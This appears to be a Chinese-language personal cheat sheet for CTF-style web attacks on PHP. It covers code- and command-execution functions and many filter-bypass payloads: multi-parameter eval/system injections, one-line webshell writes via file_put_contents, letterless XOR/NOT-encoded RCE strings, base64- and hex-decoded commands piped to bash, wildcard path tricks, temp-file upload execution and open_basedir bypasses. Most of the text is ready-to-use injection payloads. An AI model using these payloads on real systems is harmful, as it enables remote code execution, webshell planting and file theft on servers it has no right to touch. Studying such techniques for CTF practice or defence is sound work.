-- 代码执行 --
php代码执行函数
eval($代码)
- 所有的语句必须以分号结尾
- 返回值为null, 除非在执行代码中return了一个值
- 代码不能包含打开/关闭 PHP tags。比如,
'echo Hi!;'
不能这样传入:'<?php echo Hi!; ?>'
。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如'echo In PHP mode!; ?>In HTML mode!<?php echo Back in PHP mode!;'
- 注: eval函数无法使用可变函数 因为eval是语言结构, 但assert可以使用部分
assert($代码)
- 在v7.4之前, 传入字符串可以进行代码执行(字符串内容需要是表达式或函数, echo用不了)
- 在v7.4之后, 只有传入表达式或者函数可以进行代码执行
- 在v7之前, 可使用可变函数, assert是函数, 不可用
($a)($b)
(assert)($b)
,但可用$a($b)
- 在v7之后, 不可使用可变函数, assert是语言结构, 不可用
($a)($b)
($a)($b)
,但可用(assert)($b)
- 所以语句无需以分号结尾
call_user_func($回调函数名,$实参...)
将参数传入回调函数中执行- 返回回调函数的返回值
- eval是语言结构, 不能当作回调函数
- 实参不能直接使用
$_POST[1]
, 只能call_user_func('assert','eval($_POST[1])')
create_function($形参名, $代码)
(php<7.2) 创建含有代码
与形参名
的函数- 代码中必须含有分号
- 函数原型为
function a($形参名){return 代码}
(待定) - 所以传入的
$代码
为}注入代码;//
即可不调用就完成代码执行
(}闭合了a(),同时//注释了后面的内容
)
array_map($回调函数, $数组,...)
为数组每个元素调用回调函数(第一个数组对应第一个形参,...)- 返回数组,包含将
array
的相应值作为回调的参数调用callback
函数后的结果
- 返回数组,包含将
call_user_func_array($回调函数, $数组)
将数组的元素同时当成实参传入回调函数并执行(一次)- 如果
args
的key都是数字, 则会忽略 key, 并按顺序将每个元素作为位置参数传递给callback
- 如果
args
的任一 key 是字符串, 则这些元素将作为命名参数传递给callback
, 名称由 key 指定 - 在
args
中,如果数字 key 在 字符串 key 之后出现,或者字符串 key 与callback
的任何参数名称不匹配,将会导致 fatal error
- 如果
array_filter($数组,$回调函数,$模式)
使用回调函数过滤数组的元素(回调函数只能有一个形参)- 如果 callback 回调函数返回 true,则将array数组中的当前 值和键 存到返回值array数组中
uasort(&$数组,$回调函数)
使用用户定义的比较函数对数组进行排序并保持索引关联- 回调函数: 有两个参数, uasort会将元素排列组合传入, 回调函数返回小于0的整数则第一个参数排前,反之第二个参数排前, 等于0不动, 直到所有元素排序都符合此规则
- 返回值总是返回true
usort(&$数组,$回调函数)
使用用户自定义的比较函数对数组中的值进行排序并产生新数字索引- 回调函数: 有两个参数, uasort会将元素排列组合传入, 回调函数返回小于0的整数则第一个参数排前,反之第二个参数排前, 等于0不动, 直到所有元素排序都符合此规则
- 返回值总是返回true
preg_replace($正则,$替换字符,$目标字符)
(php<=5.5) 按照正则替换字符串- 将
$匹配字符串
中被$正则表达式
匹配的部分替换为$替换字符串
- 当这则表达式有修饰符e,则将
替换字符串
当做php代码执行, 并将其结果作为替换值
当然, 如果替换字符类似于\\1
则相当于将匹配的值当作php代码执行
- 将
$a($b)
可变函数, 调用$a
同名函数,将$b
当作参数传入- 当
$a $b
可控时, 可造成代码执行 - 注: eval函数无法使用可变函数 因为eval是语言结构, 但assert可使用部分
- 当
${$b}
或${$b}
当$b可控- assert与eval
7<=php版本<7.4
$a=assert;
$a(phpinfo()); //报错
($a)(phpinfo()); //报错
(assert)(phpinfo());//正确执行
php版本<7
$a=assert;
$a(phpinfo()); //正确执行
($a)(phpinfo()); //报错
(assert)(phpinfo());//报错
---------------------------------------
php版本>=7.4 (此时assert无效)
$a=assert;
$a(phpinfo()); //不报错,不执行
($a)(phpinfo()); //不报错,不执行
(assert)(phpinfo());//不报错,不执行
php全部版本 (全版本eval无效)
$a=eval;
($a)(phpinfo();); //报错
(eval)(phpinfo();); //报错
-- 命令执行 --
- 注: 要判断系统为windows还是linux
php命令执行函数
- system函数
system($命令, int $result_code = null)
- 执行命令并输出执行结果到浏览器
- 并将执行成功与否保存到
$result_code
- exec函数
exec($命令, &$结果 = null, &$result_code = null):
- 执行命令并返回执行结果最后一行
- 将命令执行结果储存到
结果
中, 一行为一个元素 - 并将执行成功与否保存到
$result_code
- shell_exec函数
与exec相同, 但返回值为执行结果的所有行 - 反引号(``)
- PHP 将尝试将反引号中的内容作为 shell 命令来执行
- 执行效果与shell_exec相同, 当关闭了 shell_exec() 时反引号运算符也是无效的
- 与其它某些语言不同,反引号不能在双引号字符串中使用
- passthru函数
passthru($命令, &$result_code = null)
- 执行命令并输出执行结果到浏览器(且其可以输出二进制,比如图像数据)
- 并将执行成功与否保存到
$result_code
- popen函数
popen(string $command, string $mode): resource|false
执行命令, 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生
返回文件指针,指向指向一个管道, 该管道连接到由popen
函数执行的外部命令的标准输入或标准输出,
模式为r指向标准输出, 模式为w, 指向标准输入, 管道使用pclose关闭 - proc_open函数
proc_open( array|string $command, array $descriptor_spec, array &$pipes, ?string $cwd = null, ?array $env_vars = null, ?array $options = null ): resource|false
与popen()类似 - pcntl_exec函数
pcntl_exec(string $path, array $args = [], array $env_vars = []): bool
在当前进程空间执行指定程序
path
必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是 #!/usr/local/bin/perl 的 perl 脚本)
args
是一个要传递给程序的参数的字符串数组
env_vars
是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value 格式的,key 代表要传递的环境变量的名称,value 代表该环境变量值
常用方法
有回显: 直接命令执行
无回显函数:
- 反弹shell
- 执行脚本代码, 如
php -r php代码
- 将命令结果输出到文件中,然后再访问该文件 如
ls >> 1.txt
- 将一句话木马写入文件, 并访问
-- PHP代码执行 --
空格过滤绕过
- 输出函数echo print使用括号, echo(exec(内容));
- 使用反引号执行命令, echo
内容
; (关键字与反引号可以没有空格分隔) - 使用自带输出的命令执行函数 如 system() passthru()
- 与多参数绕过相结合, 因为php中关键字与 字符串或变量可以没有空格分隔
(如include$_GET['a']
, 得像是include这种可以不用括号的语言结构才行, 如echo,print,require等) - 使用
%09 %0a %0b %0c %0d
输出函数过滤绕过
- 替换: echo print printf print_r() var_dump() var_export()
注: echo 和 print printf 只能输出字符串的内容和数字, 其它类型如数组会输出其数据类型 - 使用自带输出的命令执行函数 如 system() passthru()
分号过滤绕过
- 用?>代替分号, php的最后一行代码是不需要分号的
引号过滤绕过
- 使用多参数绕过
system($_GET[1])&1=ls
- 使用反引号 命令执行
- 使用文件包含
- 使用无参数绕过
- 在php<8时, 数组索引为字符串时, 使用索引可不使用引号包围 如
$a[a]=1;
括号过滤绕过
- 利用文件包含绕过
- 输出函数使用 print echo且命令执行使用 反引号``
中括号过滤绕过
- 使用大括号(php<7.4) 如
$_GET{'a'}
后续代码绕过(想不执行代码执行函数后的代码)
- 末尾加上
;exit();
- 末尾加上
;die();
拼接绕过
- 前拼接绕过: 首位加上
?><?php
, 末尾加上?>
(可以参考 [[php标签过滤绕过]] 中的标签) 或 首位加上;
- 后拼接绕过: 末尾加上
;
(可能会因报错导致不执行注入内容), 或末尾加上?>
(后续的会被当成html代码)
执行的代码被加入到字符串中且被双引号包围 绕过
- 描述: 当出现
$b='可控代码'
的情况, 即使代码执行, 由于有两层字符串, 代码不会执行 - 绕过: 传入
${注入表达式或函数}
, 使用${}
语法来进行代码执行 - 注: 注入的一定要为表达式或函数
函数的参数过滤绕过
- 因为参数为字符串, 所以可以用 无数字字母RCE 的方法绕过
open_basedir绕过Open_basedir绕过 - LLeaves - 博客园 (cnblogs.com)
- 简介: open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域, 会将所有访问文件的函数无法访问除open_basedir指定目录以外的目录
- 命令执行函数绕过: open_basedir无法限制命令执行函数的访问范围;
- 建立软链接: 使用
symlink(目标,链接名)
建立软链接, 通过访问软链接来访问对应 文件和目录 - glob伪协议: glob伪协议不受open_basedir限制
- 使用ini_set(): 使用ini_set将open_basedir配置选项的值更改后 再进行代码执行
文件名过滤绕过
- 若使用文件读取函数来读取文件, 则可以使用
glob()
函数来进行模糊搜索
glob(路径)[0]
, 模糊搜索跟sh语法相同, 返回搜索到的文件名组成的数组
隐藏类中信息绕过
- 若关键信息在类里(看不见内容的类), 可以使用反射类/打印实例来获取类的信息
- 可用
echo new ReflectionClass(类名);
来获取类的详细信息(包括 方法 和 成员变量 命名空间等)
(用echo print,不能用var_dump var_export print_r) - 用
print_r(new 类名)
来获取 成员变量 信息
(用var_dump var_export print_r,不能用echo print)
多参数绕过
- 原理: 使代码执行函数包含 接收其它参数的代码, 并在其它参数中写入注入代码
- 绕过: 引号(索引用数字, 或true false), 命令执行函数绕过, all
- 注: 中括号过滤时可使用大括号(php<7.4) 如
$_GET{'a'}
在php<8时, 数组索引为字符串时, 使用索引可不使用引号包围 如$a[a]=1;
第一种
?id=eval($_GET['cmd']);&cmd=system('cat flag.php')
若过滤引号 也可用数字, 若过滤数字则可用常量 true false
第二种
?id=var_dump(get_defined_vars()); //查看POST和GET的位置(可替换为其它输入函数)
?id=next(get_defined_vars()); //用next或pos或current移动到POST和GET位置,得到对应数组内容
?id=pos(next(get_defined_vars())); //再用pos或current或next取出对应的参数值
?id=eval(pos(next(get_defined_vars()))); //还需再嵌套一层代码执行函数
//然后注入代码由GET或POST传入
第三种
?id=session_start();system(session_id()); //然后注入代码写在session id中
第四种(如果命令执行函数都被过滤)
?id=eval($_POST['a'])
第五种
?id==eval(next(getallheaders())); 指向user-agent并获取, 要修改user-agent
文件包含绕过
- 原理: 利用[[文件包含]]漏洞来绕过
- 绕过: 括号, all
- 注:
?c=include$_GET[1]?>&1=php://input
?c=include$_GET[true]?>&1=php://input
或
?c=include'php://input'?>
php://input可替换为 文件包含 的其它方法(本地文件包含,远程文件包含,伪协议)
文件写入绕过
- 原理: 利用文件写入, 通过写入一句话木马, 以在另外一个文件中执行代码以绕过
- 绕过: 代码执行函数与命令执行函数, all
?c=file_put_contents(a.php,$_POST[1]);&1=<?php eval($_POST[1]);?>
无参数绕过
- 输出函数
print_r可替换为var_dump var_export
(不可替换为print和echo)
但使用 current() pos() end() next() prev() array_reverse() array_flip() array_rand()
以获得scandir单个元素值后可用 print 和 echo
- 查看当前目录:
方法一
print_r(scandir(pos(localeconv())))
print_r(scandir(current(localeconv()))) //scandir包含.,由localeconv函数构建
方法二
print_r(scandir(char(46))) //scandir包含.,由chr(46或302或558...)构建,数字46可由其它函数构建
方法三
print_r(scandir(getcwd())) //scandir包含绝对路径
方法四
print_r(scandir(dirname(__FILE__)))
注释:
scandir('路径') 数组;返回指定目录下的所有文件
localeconv() 数组; 返回一包含本地数字及货币格式信息的数组, 而数组第一项就是.
current()或pos() 返回数组中内部指针指向的单元,默认为第一个值
chr() 返回指定ASCII码对应的字符, 46对应.
(该函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于.)
getcwd() 返回当前工作目录的路径
dirname() 返回给定路径的目录部分
- 读取当前目录文件:
1.current() pos() end() next() prev() [1中函数同时只能使用一个,所以要配合包含2函数]
返回第一 第一 最后 第二 倒退(无用)
2.array_reverse() array_flip() array_rand()
元素位置倒转 键值互换 随机给出键(配合array_flip使用)
利用1配合2来包含'查看目录的方法函数'来指向想要查看的文件
若可以直接输入文件名,也可不用以上方法
再利用
show_source() readfile() highlight_file() readgzfile() print(file_get_contents())[或其它打印函数] file() include() require() include_once() require_once()包含
(fopen() fgets() 还不知道怎么用,待定)
注:其中file_get_contents()需要打印返回值
注:include等文件包含函数的使用要求 需要的数据不在php代码中,否则就要用伪协议
当flag文件在数组倒数第二个时
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
倒数第一
c=show_source(pos(array_reverse(scandir(pos(localeconv())))));
其它(利用array_rand随机爆出,要多尝试几遍)
c=show_source(array_rand(array_flip(scandir(pos(localeconv())))));
- 查看上一级目录:
print_r(scandir(dirname(getcwd()))) //scandir包含绝对路径
print_r(scandir(next(scandir(getcwd())))) //scandir包含..,由目录中自带的..隐藏文件
print_r(scandir(chr(数字)) //scandir包含..,由chr(ascii码)构建
注释:
scandir('路径') 数组;返回指定目录下的所有文件
dirname('路径') 返回路径指向文件/文件夹所在目录的路径(可为无效路径)(即删除一个/及其之前内容,若没有/则返回.)
getcwd() 返回当前工作目录的路径
next(数组):将数组中的内部指针向前移动一位,并返回移动后指向的单元
注:scandir(getcwd())返回的数组第二个元素为'..'
- 读取上一级目录文件
方法一:要利用chdir()改变工作路径后再读取
chdir(dirname(getcwd()))
chdir(next(scandir(getcwd()))
chdir(chr(数字)) //char(数字)构造`..`
chdir(..)
再用分号;分隔后,在后面使用读取当前目录文件方法
方法二:
使用scandir(dirname(chdir(方法一函数))) //chdir返回值为1,所以dirname(1)返回值为.
再在整个外面嵌套读取当前目录文件方法
- 查看任意目录
print_r(scandir('目录'))
其中的‘目录’可用chr(xx).chr(xx)...构造
$a=new DirectoryIterator(glob:///*);foreach($a as $f){echo($f->__toString().'<br>');}
- 读取任意目录文件
c=chdir('/');highlight_file(array_rand(array_flip(scandir('/'))));
c=highlight_file(array_rand(array_flip(scandir(dirname(chdir('/'))))));
其中的‘目录’可用chr(xx).chr(xx)...构造
- 构造数字:
构造数字
卡时间:time() 或 current(localtime(time())) 要卡时间
利用数学函数与php版本进行拼凑:待定
利用哈希:hebrevc(crypt(arg)) 待定
- 无参数命令执行:
//利用current() each() end() next() prex() array_reverse() array_flip() array_rand() pos()来包含getallheaders()或apache_request_headers() get_defined_vars()
如:
eval(pos(getallheaders())) 再在请求头中包含注入代码
eval(pos(apache_request_headers())) 再在请求头中包含注入代码
eval(pos(get_defined_vars())) 再在get post cookie中包含注入信息
注释:
getallheaders()或apache_request_headers() 数组;包含全部http请求头信息(仅在apache中可用)
注:请求头在数据包中越靠下,在返回的数组中对应元素的位置就越靠前
get_defined_vars() 数组;包含所有已定义的变量
注:新定义的变量在前
session_id():可以用来获取/设置 当前会话 ID。
session需要使用session_start()开启,然后返回参数给session_id()
但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号)
但是hex2bin()函数可以将十六进制转换为ASCII 字符,所以我们传入十六进制并使用`hex2bin()`即可
eval(hex2bin(session_id(session_start())));
Cookie: PHPSESSID=706870696e666f28293b //hex编码后的phpinfo()
getenv(): 获取环境变量的值(在PHP7.1之后可以不给予参数)
所以该函数只适用于PHP7.1之后版本,否则会出现报错
getenv可以用来收集信息,实际利用一般无法达到命令执行效果,因为默认的php.ini中,variables_order值为:GPCS, 也就是说系统在定义PHP预定义变量时的顺序是 GET,POST,COOKIES,SERVER,没有定义Environment(E),你可以修改php.ini文件的 variables_order值为你想要的顺序,如:EGPCS。这时,$_ENV的值就可以取得了
对此我们可以加以利用,方法同getallheaders apache_request_headers(请求头为环境变量)
无数字字母rce
- 原理: 利用非数字字母的字符, 经过 异^或| 取反~ 自增+,构造出单个的字母字符,然后拼接起来
通用
使用可变变量和可变函数
//不用eval是因为eval是一个语言结构,无法作为可变函数进行使用
--格式1.1.1-- php版本<7.0
$_=assert;
$__=_POST;
$___=$__; //可变变量
$_($___[_]); //可变函数
--格式1.1.2-- php版本<7.0
$_=assert;
$_(${_POST}[_]); //可变函数
--格式1.1.3-- php版本<7.0
$_=assert;
$_('eval($_POST[1])'); //可变函数
--格式1.2.1-- 7.0<=php版本<7.4
$_=_POST;
$__=$_; //可变变量
(assert)($__[_]); //可变函数
--格式1.2.2-- 7.0<=php版本<7.4
(assert)(${_POST}[_])
--格式1.2.3-- 7.0<=php版本<7.4
(assert)('eval($_POST[1])')
--格式2-- php版本任意
system('命令') 必须分为两个部分 即system和 命令 两个部分
如(%13%19%13%14%05%0d|%60%60%60%60%60%60)(%0c%13|%60%60)
说明 system ls
--异^--
格式:('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08')
--或!--
格式:(%05%18%05%03|%60%60%60%60)
--取反~--
格式:(~%9E%8C%8C%9A%8D%8B)
-- 命令执行绕过 --
空格过滤绕过
${IFS},$IFS$9 (1-9都行), <,<>,{内容a,内容b}
注:使用<和<>时不能使用模糊匹配
%20(空格),%09(TAB),%0a
[%0b %0c %0d 无用]
注: %0a只在代码执行中利用的命令执行中可用
- 被拼接绕过
后拼接: 使用; || && & %0a(换行)[%0b %0c %0d 无用]
(%0a在代码执行中利用的命令执行中无用)
注: 不能用管道符, 否则会将前面一条语句的输出重定向到后一条指令的输入, 而不会将其输出到终端
关键词过滤绕过
- 文件名过滤绕过
用?
与*
进行模糊匹配 - 文件读取替换关键词:
cat,tac,more,less,bzmore,bzless,head,tail,nl,tailf,sort,paste,od,curl,strings
不能直接用的(待定): awk, cut, sed, diff, grep, wget, scp, rm
grep 正则 文件
会把符合正则的那一列显示出来 - 反斜杠 引号 特殊变量 绕过:
在关键字中加上\ '
不影响命令的执行
特殊变量$1-$9 $@ $*
输出为空,不影响命令执行
注: (\不能两个连一起, 引号 ' 可以两个连一起,但最终数量要为双数(即要闭合))
i\f\c\o\n\f\i\g 注:\不能两个连一起
if''con'fi'g ifconfig 注:引号可以两个连一起,但最终数量要为双数(即要闭合)
i$1f$5co$7n$@fi$*g
- 内敛执行绕过
用命令
或$(命令)
或{命令}|$0
将命令的输出作为输入进行执行
cat `ls`
cat $(ls)
cat {ls}|$0
- 大小写绕过
查看是否过滤不分大小写, 将关键字部分大写绕过 - 拼接变量
a=g;cat fla$a.php
a=t;b=ag;ca$a fl$b.php
;可替换为&&, 不能替换为||,|,&
注意:有时候变量名放在一堆字母之间,可能会产生混淆而失去作用,多试几种分割法
- 环境变量绕过(关键字过滤绕过)
先env查看有哪些环境变量, 再利用环境变量配合 拼接变量 进行绕过
注: 若是过滤的/
可以先cd $相应变量
再执行其它命令 就可以使用相对路径 而不使用/
- 分割绕过(关键字过滤绕过)
使用expr substr
分割 环境变量 或 分割 内敛执行结果 获取关键字, 再拼接变量
语法: substr 字符串 位置 长度
注: 若是过滤的/
可以先cd $相应变量
再执行其它命令 就可以使用相对路径 而不使用/
编码绕过 ($()和{}|$0 待定)
原理: 在命令中以 输出(echo)编码后字符串形式 用通配符连接 对应解码命令,
再用通配符连接bash或sh或用内敛执行方法, 就会解码后执行
注:
Base64(加 -d为解码,不加为编码)
echo Base64编码|base -d|bash
echo Base64编码|base -d|sh
`echo Base64编码|base -d`
$(echo Base64编码|base -d)
{echo Base64编码|base -d}|$0
Hex(linux并不一定自带对应指令)(可使用各种格式的hex编码)
echo Hex编码|xxd -r -p|bash
echo Hex编码|xxd -r -p|sh
`echo Hex编码|xxd -r -p`
$(echo Hex编码|xxd -r -p)
{echo Hex编码|xxd -r -p}|$0
原理: printf能识别对应的转义字符
Hex转义字符\x00
八进制 转义字符\00
printf \x格式hex编码|bash
printf \x格式hex编码|bash
printf \x格式hex编码|sh
printf \x格式hex编码|sh
`printf \x格式hex编码`
$(printf \x格式hex编码)
{printf,\x格式hex编码}|$0
无字母RCE
- 文件执行命令文件路径+通配符 读取文件
?c=/???/????64%20????.???
--即/bin/base64 flag.php
--base64这个命令就是将指定的文件内容以base64加密形式输出,这个不是通用的,因为base64不是每个机器都有
?c=/???/???/????2%20????.???
--即/usr/bin/bzip2 flag.php
--把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来
- 强制上传文件
原理
在PHP中,强制上传文件时,文件会被存在临时文件/tmp/phpxxxxxx中
这个文件最后六位xxxxxx有大小写字母、数字组成,生命周期只在PHP代码运行时。
题目中正则匹配过滤了大小写字母(i)和数字。
故我们要匹配/tmp/phpxxxxxx的话可以用通配符/???/?????????
/???/?????????范围太大了,我们如何缩小范围呢。
查看ascii码表,A前面是@,Z后面是[
/???/????????[@-[]就表示了最后一位是大写
当临时文件最后一位是大写字母时/???/????????[@-[]就能匹配到这个文件
linux中 . 代表执行一个文件,相当于source 可以执行sh命令。
如果上传的文件是一个shell脚本,那么 . /???/????????[@-[](burp里面空格要写成+或者%20)就能执行这个shell脚本,实现RCE
即流程:向网站强制上传文件,抓包并传参?c=.+/???/????????[@-[],修改文件内容以完成不同的命令执行
注意:临时文件会被删除,可使用条件竞争,或是将 文件上传和传参 放入一个请求中(没反应则多请求几遍)
构造数字
在linux中
${_} 代表上一次命令执行的结果
$(()) 代表做运算,为0
$((~$(()))) 代表~0(0取反)为-1
$((~$(()))) $((~$(()))) $((~$(()))) 代表-1-1-1
$(( $((~$(()))) $((~$(()))) $((~$(()))) )) 代表-1-1-1做运算就是-3
$((~$(( $((~$(()))) $((~$(()))) $((~$(()))) )))) 代表-1-1-1做运算后-3取反就是2
36为:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
``